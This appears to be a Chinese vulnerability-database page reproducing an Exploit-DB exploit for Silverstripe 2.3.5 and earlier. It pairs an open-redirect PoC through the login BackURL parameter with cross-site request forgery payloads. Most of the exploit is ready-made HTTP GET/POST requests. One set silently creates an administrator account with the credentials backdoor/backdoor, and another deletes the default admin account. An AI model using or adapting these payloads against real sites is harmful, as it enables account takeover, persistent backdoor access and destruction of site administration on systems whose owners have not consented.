Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1059113 漏洞类型
发布时间 2010-01-24 更新时间 2010-01-24
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/11244
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: Silverstripe <= 2.3.5 Cross Site Request Forgery & Open Redirection.
# Date: 12/01/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Vendor: www.silverstripe.org | 
# Version: 2.0.0
# Tested on: PHP
#
#
##Open Redirection:
(OWASP: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.)
#
http://server/Security/login?BackURL=[URL]
#
PoC:
http://server/Security/login?BackURL=http://www.google.com
#
#
##Cross Site Request Forgery
(CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.)
#
Add new Superuser Account:
#
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=[BACKDOOR]&Surname=[BACKDOOR]&Email=[MAIL]&SetPassword=[BACKDOOR]&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
PoC: (Username: backdoor; Password: backdoor)
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=backdoor&Surname=backdoor&Email=blah%40blah.blah&SetPassword=backdoor&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
#
Delete user: [id]=user id (by default, the admin id is 1)
#
HTTP GET: /admin/security/EditForm/field/Members/item/[id]/delete
HTTP POST: forceajax=1
#
PoC: (delete the Admin account)
HTTP GET: /admin/security/EditForm/field/Members/item/1/delete
HTTP POST: forceajax=1
#
#
[e0f]